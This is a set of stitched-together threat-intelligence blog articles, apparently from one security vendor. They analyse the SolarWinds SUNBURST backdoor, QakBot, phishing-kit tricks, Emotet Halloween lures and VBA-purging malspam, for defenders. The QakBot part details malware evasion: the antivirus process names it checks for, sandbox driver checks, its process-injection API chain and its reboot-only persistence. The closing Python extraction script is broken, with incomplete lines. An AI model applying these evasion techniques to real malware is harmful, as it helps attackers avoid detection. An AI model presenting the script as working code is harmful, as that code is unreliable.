SolarWinds SUNBURST backdoor assessment

SolarWinds SUNBURST backdoor assessment

Executive Summary

  • FireEye discovered a global supply chain attack trojanizing the SolarWinds Orion Platform with a backdoor that FireEye named SUNBURST.
  • Affected versions: SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 (with no hotfix installed), 2020.2 HF 1
  • Fixed version: SolarWinds Orion Platform version 2020.2.1 HF 2
  • While the trojanized SolarWinds Orion Platform versions have been spread widely to public and private organizations around the world, current information indicates that the SUNBURST backdoor was used for espionage by a nation state and only used to infiltrate a select set of victims. Other victims that installed the trojanized SolarWinds Orion Platform versions are collateral damage.
  • To figure out if you are affected (beyond checking installed SolarWinds Orion Platform versions) check DNS logs for queries to avsvmcloud[.]com or .digitalcollege[.]org (including subdomains!).
  • Hornetsecurity is not affected. Hornetsecurity does not use SolarWinds products.
  • Because this is an ongoing global incident check the linked resources for up-to-date IoCs and information.


On 2020-12-13 FireEye disclosed a backdoor in updates of the SolarWinds Orion Platform. Affected organizations should update to the fixed version immediately.

The backdoor is part of a global espionage operation and used to access government and high profile private company networks.

Hornetsecurity assessed its own situation and is not affected.


The SolarWinds Orion Platform is the market leader for network monitoring platforms with SolarWinds having over 275.000 customers in 190 countries and providing network monitoring for 400 of the Fortune 500, the US government and other high profile organizations.

On 2020-12-13 FireEye disclosed that the SolarWinds Orion Platform updates between 2020-03-01 and 2020-06-01 have been trojanized with what they called the SUNBURST backdoor.3 Previously on 2020-12-08 FireEye disclosed a breach of its own organization,2 for which it later identified the trojanized SolarWinds Orion Platform update as the intrusion vector.

FireEye attributes this intrusion to an yet unknown threat actor they are tracking as UNC2452. While many media outlets report this intrusion as attributed to APT29, we believe this to be incorrect as APT29 is threat actor designator by FireEye themselves but yet they have not attributed it directly to APT29, yet.

On 2020-12-14 SolarWinds has published a security advisory1 regarding the matter.

Technical Analysis

The backdoor is in SolarWinds.Orion.Core.BusinessLayer.dll of the SolarWinds Orion Platform software installation. After installation the backdoor waits a randomly selected amount between 12 to 14 days before executing its malicious code. It tries to establish C2 communication using a domain name generation algorithm (DGA) to <ENCODED VICTIM HOSTNAME>.appsync-api.{eu,us}-{west,east}-{1,2}.avsvmcloud[.]com. The <ENCODED VICTIM HOSTNAME> subdomain part contains the victims encoded hostname. It can be decoded using a tool provided by RedDrip7.7

Subdomain records corresponding to victim hostnames targeted by the intrusion received a CNAME DNS response redirecting them to one of the C2 domains. Victims not targeted did not receive a dedicated CNAME.6 Even though this is a large scale supply chain attack, current information indicates that the purpose behind the intrusion is espionage conducted by a nation state. This means that while (according to SEC filings by SolarWinds8) around 18,000 victims installed the compromised updates, only a very small fraction was actually the target of this attack, the rest is collateral damage.

On targeted organizations, the backdoor is used as a beach head into the organization’s network, by installing the TEARDROP and BEACON (from Cobalt Strike framework) malware to further infiltrate the network.

Conclusion and Countermeasures

Unlike the supply chain attack against the Ukrainian tax accounting package M.E.Doc, which resulted in the 2017 global NotPetya incident, this intrusion’s goal was espionage. Hence only networks of selected targets were intruded via the SUNBURST backdoor planted through the compromised SolarWinds Orion Platform software.

Organisations that have installed an affected SolarWinds Orion Platform version should treat all hosts monitored by the SolarWinds Orion Platform as compromised, identify all threat actor-controlled accounts and infrastructure within the organization and remove them, and only then rebuild the SolarWinds Orion Platform installation. Organizations with elevated protection requirements can follow the guidance in the DHS Emergency Directive 21-014 (obviously without reporting to CISA, unless the organization is part of the US government).

A good starting point to identify threat actor activity is searching for the IoCs provided by FireEye3,5 in DNS logs. In case DNS queries to one of the <ENCODED VICTIM HOSTNAME>.appsync-api.{eu,us}-{west,east}-{1,2}.avsvmcloud[.]com subdomains are found, you can use the SunBurst DGA Decoder provided by RedDrip77 to figure out which hostname in your network ran the SUNBURST backdoor code. In case you find CNAME replies to these DNS queries, this means in addition to running the backdoor code, the threat actors are/were interested in the host and elevated the connection to a full C2 connection. In the later case, we recommend contacting a competent incident response provider immediately.

We applaud our colleagues from FireEye for their thorough investigations.



Indicators of Compromise (IoCs)

For a full list of IoCs and detection signatures, please see the countermeasures published by FireEye:


  • .avsvmcloud[.]com
  • .digitalcollege[.]org

Known indicators as of 2020-12-16 only! Please, check linked resources for up-to-date information.

QakBot reducing its on disk artifacts

QakBot reducing its on disk artifacts


QakBot has been updated with more evasion techniques. QakBot’s configuration is now stored in a registry key instead of a file. The run key for persistence is not permanently present in the registry but only written right before shutdown or reboot, and deleted immediately after QakBot is executed again. QakBot’s executable is also not stored permanently on the file system anymore, but similarly to the run key registry entry, dropped onto the file system before reboots and deleted afterwards. This way security software can only detect QakBot artifacts on disk, right before system shutdown, and shortly after system boot. However, at that time security software itself is shutting down and booting up, hence may not detect QakBot’s new persistence method.

Other changes include dynamic just-in-time decoding and destruction of strings at runtime. So any string used in the malware is only decoded at runtime into memory only and destroyed right afterwards.

The delivery method for the observed QakBot campaigns identified via the regular expression pattern of abc[0-9]+ is still XLM macro documents as reported previously.


QakBot (also known as QBot, QuakBot, Pinkslipbot) has been around since 2008. It is distributed via Emotet, i.e., Emotet will download QakBot onto victims that are already infected with Emotet but it is also distributed directly via email. To this end, it uses email conversation thread hijacking in its campaigns1, i.e., it will reply to emails that it finds in its victim’s mailboxes. QakBot is known to escalate intrusions by downloading the ProLock ransomware2 or lately the Egregor ransomware.

The observed QakBot campaigns identified by campaign ID abc use XLM macro documents for infection. We previously reported on their low detection.3

An overview of the current chain of infection used by the QakBot campaign with identifiers following the regular expression pattern of abc[0-9]+ can be seen in the following flow graph.

QakBot abc chain of infection

Technical Analysis

In the following analysis we briefly analyze the infection chain of QakBot after being downloaded and launched by the malicious Excel document.

QakBot infection process tree


QakBot uses various evasion techniques to avoid detection by anti-virus software.

PE header manipulation

We observed some QakBot DLLs with a manipulated PE header. The message text This program cannot be run in DOS mode. has been altered.

QakBot PE header manipulation

This seems like an attempt to circumvent some static detection rules matching for this message in the legacy MS-DOS stub of PE binaries.

Code signing

First, the initial downloaded and executed DLL is signed with a (at the time the analyzed sample was distributed) valid code signing certificate.

$ chktrust 904400.jpg
Mono CheckTrust - version
Verify if an PE executable has a valid Authenticode(tm) signature
Copyright 2002, 2003 Motus Technologies. Copyright 2004-2008 Novell. BSD licensed.

WARNING! 904400.jpg is not timestamped!
SUCCESS: 904400.jpg signature is valid
and can be traced back to a trusted root!

The signing CA is Sectigo and the organization is given as Aqua Direct s.r.o., which is an existing company.

$ osslsigncode verify 904400.jpg 
Current PE checksum   : 00091021
Calculated PE checksum: 00091021

Message digest algorithm  : SHA1
Current message digest    : 632DCB214EE9FB08441C640D240F672A7ABA6EB1
Calculated message digest : 632DCB214EE9FB08441C640D240F672A7ABA6EB1

Signature verification: ok

Number of signers: 1
    Signer #0:
        Subject: /C=CZ/postalCode=619 00/L=Brno/street=\xC5\xBDelezn\xC3\xA1 646/8/O=Aqua Direct s.r.o./CN=Aqua Direct s.r.o.
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Code Signing CA

Number of certificates: 4
    Cert #0:
        Subject: /C=CZ/postalCode=619 00/L=Brno/street=\xC5\xBDelezn\xC3\xA1 646/8/O=Aqua Direct s.r.o./CN=Aqua Direct s.r.o.
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Code Signing CA
    Cert #1:
        Subject: /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services
    Cert #2:
        Subject: /C=US/ST=New Jersey/L=Jersey City/O=The USERTRUST Network/CN=USERTrust RSA Certification Authority
        Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=Comodo CA Limited/CN=AAA Certificate Services
    Cert #3:
        Subject: /C=GB/ST=Greater Manchester/L=Salford/O=Sectigo Limited/CN=Sectigo RSA Code Signing CA
        Issuer : /C=US/ST=New Jersey/L=Jersey City/O=The USERTRUST Network/CN=USERTrust RSA Certification Authority


It is unknown whether the certificate was obtained from Sectigo by giving false information, the certificate was stolen from Aqua Direct s.r.o., or whether the certificate was obtained from Sectigo by giving stolen information from Aqua Direct s.r.o..

QakBot is known to steal victim emails and use them in future malspam campaigns. So it is likely that they also use stolen victim data to obtain code signing certificates. However, the actors behind QakBot can also buy the code signing certificate from a (malicious) third party.

Strings only decoded at runtime

QakBot will decode its strings only at runtime into memory. After usage the decoded strings are removed from memory again.


QakBot uses CreateToolhelp32Snapshot and Process32{First,Next}W to enumerate the running processes.

QakBot enumerating processes API log

It checks for the following processes:

  • CcSvcHst.exe
  • avgcsrvx.exe
  • avgsvcx.exe
  • avgcsrva.exe
  • MsMpEng.exe
  • mcshield.exe
  • avp.exe
  • kavtray.exe
  • egui.exe
  • ekrn.exe
  • bdagent.exe
  • vsserv.exe
  • vsservppl.exe
  • AvastSvc.exe
  • coreServiceShell.exe
  • PccNTMon.exe
  • NTRTScan.exe
  • SAVAdminService.exe
  • SavService.exe
  • fshoster32.exe
  • WRSA.exe
  • vkise.exe
  • iserv.exe
  • cmdagent.exe
  • ByteFence.exe
  • MBAMService.exe
  • mbamgui.exe
  • fmon.exe

QakBot will set specific bits in a bit mask for each running process it finds. Depending on the resulting bit mask the further infection path is altered, e.g., if avp.exe has been encountered. QakBot will later inject its code into mobsync.exe instead of explorer.exe. Because the searched process names are related to security solutions, we believe that this way QakBot tailors its execution path to evade detection by specific vendors.

Then in another loop, again using CreateToolhelp32Snapshot and Process32{First,Next}W, it checks for:

  • srvpost.exe
  • frida-winjector-helper-32.exe
  • frida-winjector-helper-64.exe

If it detects any of those processes the execution flow will run into a loop continuously calling WaitForSingleObject(handle, 0x1fa) on a handle previously generated via CreateEvent(NULL, FALSE, FALSE, ...), i.e., it runs in an infinite loop.

Device drivers

Next, QakBot uses SetupDiGetDeviceRegistryPropertyA (querying properties SPDRP_DEVICEDESC and SPDRP_SERVICE) to check for device drivers containing the following strings:

  • VBoxVideo
  • Red Hat VirtIO
  • QEMU
  • A3E64E55_pr

We believe the search for A3E64E55_pr is used to detect an artifact of the ANY.RUN sandbox.4 Alternatively, but unlikely, it could be used to detect an artifact of the long ago defunct xCore Complex Protection AV solution using a similar driver with the name A3E64E55_pr.sys.

If it detects any of those device drivers the execution flow will run into the same infinite loop continuously calling WaitForSingleObject(handle, 0x1fa) on a handle previously generated via CreateEvent(NULL, FALSE, FALSE, ...), as previously mentioned.

Process injection

QakBot starts C:\Windows\SysWOW64\explorer.exe in suspended state and injects a DLL into it using CreateProcessInternalW, NtMapViewOfSection, NtAllocateVirtualMemory, WriteProcessMemory, memcpy, NtProtectVirtualMemory and NtResumeThread.

QakBot process injection into explorer.exe API log

The injected DLL can be extracted via PE-sieve5 or other tools for simplyfied further analysis.

Injected QakBot DLL extracted with PE-sieve

Depending on whether the previous process enumeration yielded results on the list, QakBot will inject into mobsync.exe (e.g., in case a avp.exe process is found running) instead of explorer.exe. But for simplicity we will only follow the explorer.exe process injection path we observed in our analysis environment.

C2 communication

After avoiding detection, the injected QakBot code within explorer.exe will start communicating with the C2 servers.

QakBot DLL in explorer.exe C2 communication

Like in previous versions of QakBot the C2 IP list is stored RC4 encrypted in resource section 311. The first 20 bytes of the section contains the RC4 key with which the rest of the section is decrypted. The first 20 bytes of the decrypted data will contain the SHA1 sum calculated over the rest of the decrypted data. It is used as a verification for correct decryption. Unlike in previous version, the C2 list is now stored in binary form and not as ASCII text anymore.

QakBot C2 list storage

For details on how to extract the C2 list and QakBot’s configuration see the Python3 script in the appendix. The input to the script is the path to the DLL that QakBot injected into explorer.exe, which we previously extracted via PE-sieve5.

QakBot configuration extraction with Python3 script

The configuration is stored using the same RC4 encryption scheme in resource section 308. In it we can see the bot and/or campaign ID abc103 that is associated with the analyzed sample. It is still stored in plain ACSII text. For each campaign the number is increased by one. This allows the operators behind QakBot to keep track to which campaign each victim connecting to their C2 server belongs to. Another currently observed identifier is tr02. This identifier, however, stayed the same over multiple malspam campaigns.

Via the C2 connection the operators behind QakBot can remote control the malware and deploy additional malicious modules.

QakBot will not store its configuration and C2 list on disk anymore. It will use the registry for storage.

QakBot using registry for configuration storage


The previous QakBot version used to overwrite its initial executable with a copy of cmd.exe. This version will overwrite the portion of the initially downloaded DLL after the PE header with zeros.

Here is the entropy of the QakBot DLL as downloaded.

QakBot DLL entropy before being overwritten

The zeroing of data after the header can be clearly seen when comparing the previous plot against a plot of the DLL file after wiping.

QakBot DLL entropy after being overwritten


The persistence mechanism of QakBot has also changed. While it still uses a run key registry entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run, this key is only set right before the system is shutdown, rebooted or put to sleep. The corresponding DLL is also only dropped to disk right before shutdown, rebooted or sleep.

After the system boots up again, QakBot is started via the run key. The execution tree also starts via regsvr32.exe -s ... like the initial execution from Excel. QakBot follows the same steps as previously outlined resulting in process injection into explorer.exe.

QakBot process tree after reboot

QakBot will then delete the run key registry entry and delete the DLL it dropped to disk prior to the reboot.

QakBot cleaning persistence

This way QakBot’s persistence can not be detected at runtime.


While we have previously reported on QakBot deliverying the ProLock ransomware,2 latests reports indicated that QakBot is now used to deliver the Egregor ransomware. We previously reported on the Egregor ransomware as part of an article on ransomware leaksites6 in which we explain the practice of ransomware operators stealing their victims data before encrypting it to extort them not only with decryption but also public release of the stolen data.

Conclusion and Countermeasures

From our analysis we can conclude that QakBot is trying to avoid persistent file artifacts. In previous version the configuration and QakBot executable were permanently stored on disk. This made it easy for security tools to detect them. The new version tries to avoid permanently leaving its artifacts on disk. While QakBot is not going fully fileless, it new tactics will sure lower its detection.

But even though QakBot has changed, the delivery mechanism behind the QakBot “abc[A-Z]+” campaign did not. Hence, an infection by this threat actor can be successfully prevented by blocking the initial emails.

Hornetsecurity’s Spam and Malware Protection, with the highest detection rates on the market, already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.


Indicators of Compromise (IOCs)


The hashes of the analyzed QakBot samples are:

MD5 Filename Description
6bc0584f6cbb74714add1718b0322655 904400.jpg QakBot DLL as downloaded by XLM macro
e23bc27212f61520cfb130185d74cfb1 26e0000.dll Extracted QakBot DLL


The tactics and techniques used by QakBot as defined by the MITRE ATT&CK framework are as follows:

Tactic Technique
TA0001 – Initial Access T1566.001 – Phishing: Spearphishing Attachment
TA0001 – Initial Access T1566.002 – Phishing: Spearphishing Link
TA0002 – Execution T1027 – Obfuscated Files or Information
TA0002 – Execution T1204.002 – User Execution: Malicious File
TA0003 – Persistence T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
TA0004 – Privilege Escalation T1053.005 – Scheduled Task/Job: Scheduled Task
TA0005 – Defense Evasion T1027.002 – Obfuscated Files or Information: Software Packing
TA0005 – Defense Evasion T1055 – Process Injection
TA0005 – Defense Evasion T1055.012 – Process Injection: Process Hollowing
TA0005 – Defense Evasion T1070 – Indicator Removal on Host
TA0005 – Defense Evasion T1497.001 – Virtualization/Sandbox Evasion: System Checks
TA0006 – Credential Access T1003 – OS Credential Dumping
TA0006 – Credential Access T1110.001 – Brute Force: Password Guessing
TA0006 – Credential Access T1555.003 – Credentials from Password Stores: Credentials from Web Browsers
TA0011 – Command and Control T1071.001 – Application Layer Protocol: Web Protocols
TA0011 – Command and Control T1090 – Proxy
TA0011 – Command and Control T1090.002 – Proxy: External Proxy


Qakbot configuration extraction Python3 script

import sys
import pefile
from arc4 import ARC4

pe = pefile.PE(sys.argv[1])
c2list = []
for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
    for e in
        n =
        data = pe.get_data([0].data.struct.OffsetToData,[0].data.struct.Size)
        data = ARC4(data[:20]).decrypt(data[20:])[20:]
        if n == '311':
            for i in range(1,len(data),7):
                c2 = list(data[i:i+6])
                c2list.append("%d.%d.%d.%d:%d" % (c2[0],c2[1],c2[2],c2[3],(c2[4]<<8)+c2[5]))
        elif n == '308':
            config = data.decode().split()
print("# QakBot Config\n\n```\n" + "\n".join(config) + "\n```\n")
print("# QakBot C2\n\n```\n" + "\n".join(c2list) + "\n```\n")
Phishing Technique Trends

Phishing Technique Trends


The basic idea behind phishing has not changed since the 90s, however, the delivery tactics and techniques are constantly evolving. In this article we outline current trends in phishing techniques. These include abuse of legitimate file hosting services, geo-fencing, automatically loading the victims company and/or email provider logo on the phishing website and asking the victim for the password multiple times.

These tactics are aimed at evading detection and luring more victims into entering their login credentials into the phishing websites.


Malicious actors use phishing emails to gain access to a victim’s login credentials by tricking the victim into voluntarily entering their password on a fake login form. The fake login is delivered via a phishing website. The phishing emails include the link to the phishing website.

Phishing as an attack technique is known since the 1980s. The name originates from a computer intrusion tool called AOHell, which included a “fisher” tool, that would spam AOL Instant Messaging users with the following message:

Hi, this is AOL Customer Service. We’re running a security check and need to verify your account. Please enter your username and password to continue.

The spelling of “phishing” with “ph” instead of “f” comes from an intentional misspelling used in 60s to 70s technology subculture slang. It originated from the term “phreak”, meaning a “phone freak”, which at the time was a hacking subculture slang term for people exploring and experimenting with early telephone networks. Thus the term phishing as we know it today was formed.

The essence of phishing has not changed much from the AOHell tool. Potential victims are contacted, under different pretexts to divulge their login credentials. However, the tactics and techniques with which the phishing emails are delivered have evolved. Hornetsecurity explains the current tactics and techniques used by current phishing attacks.

Most phishing emails contain a link to a phishing website featuring a fake login form. Though, a few exceptions exist, e.g., we previously reported on a phishing scheme that send the entire HTML source code of the phishing website attached to the phishing email1.

The emails use various different lures to get the victim to visit the link, e.g., by pretending a file can be downloaded via the link, as can be seen in the following example phishing email:

Example phishing email with link

By visiting the link the potential victim is send to the phishing website.

In the following we will outline tactics and techniques that current phishing attacks use to evade detection and lure even cautious victims into their scam.

Abuse of legitimate file hosting services

Phishers host parts of their phishing kit on legitimate file hosting services to evade detection systems and to build trust with their victims. This way the link in the email will feature a domain name from a known legitimate service, trusted by millions of people.

The following example shows a phishing kit hosted on Google’s Firebase platform:

Phishing kit hosted on Firebase

Abuse of file hosting services, such as Google Docs, Google Drive, Microsoft SharePoint and others, is nothing new. We previously reported about malspam misusing file hosting services to spread malware.2 However, the number of phishing attacks relying on cloud storage providers has increased significantly.

The problem for potential victims is that some of these file hosting services sometimes do legitimately ask visitors to sign in to see the content. This means a potential victim is lured onto a website that they know will sometimes ask them to login, requiring high alertness to not fall for phishing scams using this tactic.

Because legitimate file hosting services are used by a lot of people for legitimate purposes their domains and URLs generally have a good reputation. This makes it hard to distinguish between emails containing legitimate file hosting service links or malicious ones.

Furthermore, some file hosting services use CAPTCHAs to prevent automatic retrieval of the hosted content, meaning automated security mechanisms can not scan the hosted content for malicious artifacts.

Ironically, we also sometimes find phishing for a particular vendor being hosted by that very same vendors infrastructure, e.g., the following phishing site impersonating Microsoft was hosted on Microsoft’s Azure platform:

Microsoft phishing kit hosted on Azure platform

Access to the account needed to use these legitimate file hosting services is often obtain via the phishing activity itself, thus, creating a self-sustaining phishing machinery.


In order to complicate analysis, malware actors often use multiple intermediate websites that redirect their victims to the final website controlled by the attackers. This way simply blocking the final phishing website is not enough, because in emails only the first redirect URL is visible. If attackers can manage to prevent automated scanning systems from following the redirects, e.g., combining this technique with geo-fencing or a CAPTCHA, then these automated systems will not detect that a victim will be redirected to a phishing site. We have observed this technique used by TA505,3 and other threat actors for malware distribution.

In case of phishing emails, the redirects can be documents hosted on file hosting services, which provide the victim with another link to the final phishing page. The phishing page is then often pretending that the user must provide their login credentials to view the document they just clicked. This is a plausible lure, because after all the victim did click a link to view a document and it is common for fie hosting services to ask the user to login in order to access files.

This way the only observable URL in the phishing emails are the intermediate redirects.

The following example is a phishing redirection document hosted on OneDrive:

Phishing redirection document hosted on OneDrive

When the victim clicks on the allegedly linked document they are redirected to a phishing page impersonating the Microsoft SSO login page:

Phishing redirected to fake Microsoft SSO login page


Another technique to hinder analysis of the phishing websites is geo-fencing. To this end, the phishing website, or sometimes a simple upstream website redirecting the victim to a specific destination, will check the visitor’s IP address. Based on these checks victims whose IP address geo-locations are in the list of countries targeted by the specific phishing scam will get to see the phishing website, other requests are usually being forwarded to a benign website.

The following is an example of a phishing scam against Raiffeisen ELBA, an Austrian bank:

Geo-fenced Raiffeisen ELBA phishing

This phishing site is only available to visitors using an IP address geo-located in Austria. Any visitors from other countries are redirected to the legitimate Raiffeisen ELBA website. Hence, geo-fencing complicates automated analysis.

Some phishing websites do not impersonate a specific company or service. They rather adapt to the victim’s expectations. To this end, they will dynamically add company and/or service logos to their login form based on the victim’s email address.

For example, if John Doe receives a phishing email in his mailbox, the URL in the phishing email will contain this email address as an HTTP GET parameter. When visiting the phishing website via this link, the email address is automatically sent to the phishing kit via this GET parameter. The phishing website will then not only pre-fill the login form’s email field with this email address, but also obtain the favicon of the email address’ domain name using the following link provided by Google:

The favicon is then displayed above the fake login form as follows:

Phishing kit displaying favicon for phished email address' domain name

Because most domains also host websites with a favicon, this technique works against virtually all email domain names.

For example, it works against popular freemail providers:

Phishing kit displaying favicon for phished email address' domain name

Phishing kit displaying favicon for phished email address' domain name

But it will also work against company domain names, as can be seen here, using our own domain name:

Phishing kit displaying favicon for phished email address' domain name

We also observed phishing kits that screenshot the website behind the victim’s email domain and display it as background image behind the fake login form:

Phishing kit screenshotting website of phished email address' domain name

Phishing kit screenshotting website of phished email address' domain name

All these techniques help the attackers to make their phishing site appear more familiar to the victims.

Asking for the password multiple times

Modern phishing kits will ask the victim for the password multiple times. While this is nothing new and we have previously reported on this technique,1 we observe more and more phishing kits using this technique.

This technique is likely to workaround a protection scheme that some users have come up with to protect against phishing. Some users believe that phishing websites will always accept any password. Hence, you can spot a phishing website by entering a wrong password. A phishing website will accept the wrong password, while the legitimate site will reject it as incorrect. This assumption is, however, wrong.

The following shows a phishing kit asking the victim for the password three times:

Phishing kit asking for the password three times

It does not matter what the victim enters, the entry is always rejected three times. Afterwards the victim is redirected to the website running on the domain name used in the email address. This is a good segue into the next tactic.

Transition to original website

Every good heist needs a good getaway. So does a good phishing kit. Ideally, after entering their login credentials the victims should not notice that they got phished and thus not change their login credentials. To this end, phishing kits usually redirect to the legitimate website they are faking. So in case the user was already logged in, they will assume they just logged in successfully. Another tactic is to redirect to a fake non-malicious document. The victim will then think they got the email by accident and it was not directed at them.

Self-sustaining phishing machinery

Last but not least, we observed several phishing campaigns that are self-sustaining. To this end, stolen login credentials will be used to send phishing emails from the victim’s account. We also observed stolen credentials being used to compromise Sharepoint accounts to host phishing infrastructure on them. While not directly observable, we are certain that stolen credentials are also used to place phishing infrastructure on legitimate file hosting services, using phishing victims’ accounts.

The time between account compromise and usage of the accounts was sometimes as short as several hours. However, most commonly stolen login credentials are usually used on the next phishing campaign. Hence, it is very important for victims, or even just potential victims, to quickly change their passwords if they have any suspicion that they may have entered their login credentials on a phishing site. This is because, while we observed some of the stolen credentials were used to perpetuate the phishing scam, other login credentials are likely used in further intrusions, such as ransomware attacks.

Conclusion and Countermeasure

While the basic idea behind phishing has not changed since the 90s, the tactics and techniques are constantly evolving. From the outlined techniques we can recommend the following countermeasures:

Users should not automatically trust known legitimate file hosting services, such as Google Docs, Microsoft SharePoint, OneDrive, etc., because they are abused to host malicious phishing infrastructure. Users should use password managers that only fill-in their login credentials on the appropriate login forms. To this end, password managers will usually check the domain name and thus prevent filling-in login credentials on logins forms hosted on impostor websites. But most importantly, users should activate 2FA wherever possible. We have seen phishing attacks featuring QR codes for 2FA banking apps. This means phishing actors are aware of 2FA and will try to obtain the 2FA codes where necessary and possible. Hence, a second factor with that can not be phished, like a U2F token, is preferred.

Last but not least, Hornetsecurity’s Spam and Malware Protection filters and Hornetsecurity’s Advanced Threat Protection are also constantly improving to keep up with the lastest threats.


Emotet Inviting Friends to your Halloween Extravaganza

Emotet Inviting Friends to your Halloween Extravaganza


Threat actors often try to bandwagon on current events to trick their victims into falling for their lures. To this end, Emotet also this year sending fake Halloween party invitations to potential victims. While the basic concept behind the fake Halloween party invitations this year is the same as last year, the variety in email texts has increased.


At around 2020-10-29 12:30 UTC Hornetsecurity’s email filters registered the first Emotet malspam emails containing Halloween party invitation themed lures. The event lasted for around 3 hours and accounted for around 50 % of Emotet malspam, as can be seen from the following time histogram stacking Emotet malspam emails by subject:

Emotet 2020 Halloween invitation malspam

Unlike the Emotet Halloween party invitations of 2019, which varied only in the subject lines and attachment names, this years emails provide different email body text templates as well.

Emotet 2020 Halloween invitation malspam email example

Emotet 2020 Halloween invitation malspam email example

Emotet 2020 Halloween invitation malspam email example

Emotet 2020 Halloween invitation malspam email example

Emotet 2020 Halloween invitation malspam email example

Emotet 2020 Halloween invitation malspam email example

In 2019 only the following email text could be observed:

Emotet 2019 halloween email lure

Emotet 2019 halloween email lure

The Emotet malware itself has not changed. Hornetsecurity already reported on Emotet extensively.1,2,3,4

Conclusion and Countermeasure

It seems that Emotet’s fake Halloween party invitations are now a yearly thing that email uses need to watch out for.

Emotet’s malicious attachments are caught by Hornetsecurity’s Spam and Malware Protection. Hence, Hornetsecurity customer’s Halloween is not ruined by falling for Emotet’s fake Halloween party invitations.


Indicators of Compromise (IOCs)

Email subject lines

  • Inviting friends to your Halloween Extravaganza
  • Party tonight
  • Happy Halloween
  • Halloween party
  • Halloween Pot Luck 10.31
  • Party invitation
  • Halloween invitation
  • Halloween
  • Halloween party invitation
  • Halloween Party
VBA Purging Malspam Campaigns

VBA Purging Malspam Campaigns


VBA purging is a recent office macro detection evasion technique. It removes the VBA macro PerformanceCache from malicious documents. While the VBA macro source code is only stored in compressed form in Office documents, this PerformanceCache caches the decompressed VBA source code in uncompressed plain text form. Because many security scanning solutions rely on this uncompressed plain text VBA macro source code to be present in order to detect malicious VBA macro code, their detection can be evaded by VBA purging.

This article details a recent spam campaign with malicious office attachments using VBA purging, how the detection evasion works and how Hornetsecurity protects against VBA purging. Evaluating the data of the observed campaign indicates that the campaign was not targeted towards a specific geographic region nor a specific industry sector.


Recently, Hornetsecurity has observed malspam delivering Formbook1 and AgentTesla2 via malicious office attachments using VBA purging.

VBA purging is a technique first described by Didier Stevens3. VBA macros are stored in module streams4 of CFBF5 files. A stream storing VBA code has two parts, the PerformanceCache and CompressedSourceCode:

Module stream specification

The CompressedSourceCode contains the VBA code in compressed form. While not specified in the official documentation, the PerformanceCache generally contains the VBA code in compiled form (P-code) and the uncompressed plain text VBA code.

VBA purging deletes the PerformanceCache by setting its size to 0. Then the VBA code will only be present in compressed form. Because many detection tools rely on the uncompressed plain text VBA code copy in the PerformanceCache, their detection can be evaded. One detection tool affected is ClamAV a popular open source anti-virus scanner often used on email gateways.

This is interesting for multiple reasons. First, Formbook and AgentTesla are very common malware that can be obtained and operated easily. For example, in 2017 Formbook could be rented for US$ 29 per week, US$ 59 per month, or US$ 99 for three months and US$ 299 for buying it6, while AgentTesla is spread so far that tutorial videos for it exist on YouTube.

AgentTesla YouTube tutorial

This low barrier of entry means that this type of malware is usually send via less sophisticated methods, such as ZIP’ing malware executable and attaching it directly to spam emails, or using publicly available exploits for old vulnerabilities (CVE-2017-0199, CVE-2017-8570, CVE-2017-8759, CVE-2018-8174). In case malicious VBA macros are used the code is usually not very advanced and technically far away from the skill level needed for VBA purging.

However, since September 2020 Hornetsecurity has observed multiple Formbook and AgentTesla malspam campaigns using VBA purging. While the observed malspam is similar to a previous VBA purging campaign observed in the wild by Didier Stevens7 the hereafter reported malicious documents are not in the OOXML format and can, hence, not have been created by EPPlus. The hereafter reported documents have the OLE/CFB format.

Technical Analysis

In September we identified malicious documents using similar VBA code as described in the VBA purging article by Didier Stevens7. The main similarity being the call to a Loader sub routine with an either Hex or Base64 encoded string containing the download URL:

Loader"68 74 74 70 ..."

However, the main difference is that the herein observed malicious documents are not in the OOXML format as the documents outlined by Didier Stevens.

In the following technical analysis we analyze one malspam activity we think originates from the same threat actor that Didier Stevens called Epic Manchego. The following time histogram shows the volume and attachment filenames of the observed activity for the last couple of days:

Timeline of different VBA purging attachments used in the on going campaign


Looking at the targeted recipients by country does not indicate a specific bias towards a specific geographic region:

Timeline of recipients by country targeted in the VBA purging campaing

Looking at the targeted recipients by industry does not indicate a specific bias towards a specific industry:

Timeline of recipients by industry targeted in the VBA purging campaing

The emails are send from (we assume) compromised legitimate company email domains. Each wave of attachments is send from one email address. But also the companies behind the sending email domains have no clear bias towards a specific industry. We observed senders from the following industries:

Timeline of senders by industry sending the VBA purging campaing

VBA macro code

The core of the malicious documents is a PowerShell downloader that downloads a malware executable. While in the beginning, the threat actor continued to use the Loader sub routine:

VBA code of VBA purged malicious document variant 1

A deobfuscated version of the above VBA code is as follows:

Deobfuscated VBA code of VBA purged malicious document variant 1

In later variants the actor also mangled the name of the Loader sub routine:

VBA code of VBA purged malicious document variant 2

But deobfuscated the VBA code is still virtually the same:

Deobfuscated VBA code of VBA purged malicious document variant 2

Some of the Excel documents place the Base64 encoded strings into a cell of the spreadsheet and extract it from within the VBA code:

VBA code of VBA purged malicious document variant 3

To hide the cell content from a user opening the document the A cell’s width is set to 0 pixels and the font color is set to white:

Deobfuscated VBA code of VBA purged malicious document variant 3

VBA purging

As outlined earlier, VBA purging is when the PerfomanceCache of a VBA macro document is deleted. You can use Didier Stevens’ tool to analyze the size of the streams, including the size of the PerfomanceCache. In the following, we see highlighted in red that the PerfomanceCache size of the VBA macro module streams is 0, meaning the PerfomanceCache was purged:

Using oledump to detect VBA purging

We currently do not know how these documents were created. The VBA purging documents outlined in the article by Didier Stevens7 were allegedly created with EPPlus. However, EPPlus can only create documents in the OOXML format.

